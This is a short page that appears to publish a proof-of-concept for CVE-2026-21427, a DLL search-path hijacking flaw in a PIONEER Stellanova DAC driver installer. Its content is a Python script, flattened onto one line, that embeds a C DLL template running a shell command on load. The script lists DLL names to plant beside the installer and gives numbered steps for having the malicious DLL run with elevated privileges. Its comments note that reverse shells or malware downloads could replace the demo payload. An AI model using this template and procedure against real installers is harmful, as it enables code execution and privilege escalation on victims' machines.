CVE-2026-21427: PIONEER多产品安装程序DLL搜索路径劫持漏洞

#!/usr/bin/env python3 # CVE-2026-21427 DLL Hijacking PoC # Target: PIONEER Stellanova DAC Driver Installer # This PoC demonstrates the DLL search path vulnerability import os import ctypes import sys def create_malicious_dll(): """ Generate malicious DLL that will be loaded by vulnerable installer In real attack, this would be a compiled DLL with malicious payload """ dll_template = ''' // Malicious DLL for CVE-2026-21427 // This DLL will be loaded instead of legitimate DLL #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Malicious code execution here // Could spawn reverse shell, download malware, etc. MessageBox(NULL, "CVE-2026-21427 DLL Hijacking", "POC", MB_OK); // Execute malicious payload with installer privileges system("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt"); } return TRUE; } ''' return dll_template def exploit_setup(): """ Setup files for exploitation """ print("[*] CVE-2026-21427 DLL Hijacking PoC") print("[*] Target: PIONEER Stellanova DAC Driver Installer") print("[*] Vulnerability: Insecure DLL search path loading") # Common DLL names that might be hijacked common_dlls = [ "version.dll", "winhttp.dll", "secur32.dll", "netapi32.dll", "jsproxy.dll" ] print("\n[!] To exploit:") print("1. Place malicious DLL in same directory as vulnerable installer") print("2. Rename DLL to one of the following names:") for dll in common_dlls: print(f" - {dll}") print("3. Execute the installer") print("4. Malicious DLL will be loaded with elevated privileges") print("\n[*] Note: This requires social engineering to get user to run installer") if __name__ == "__main__": exploit_setup()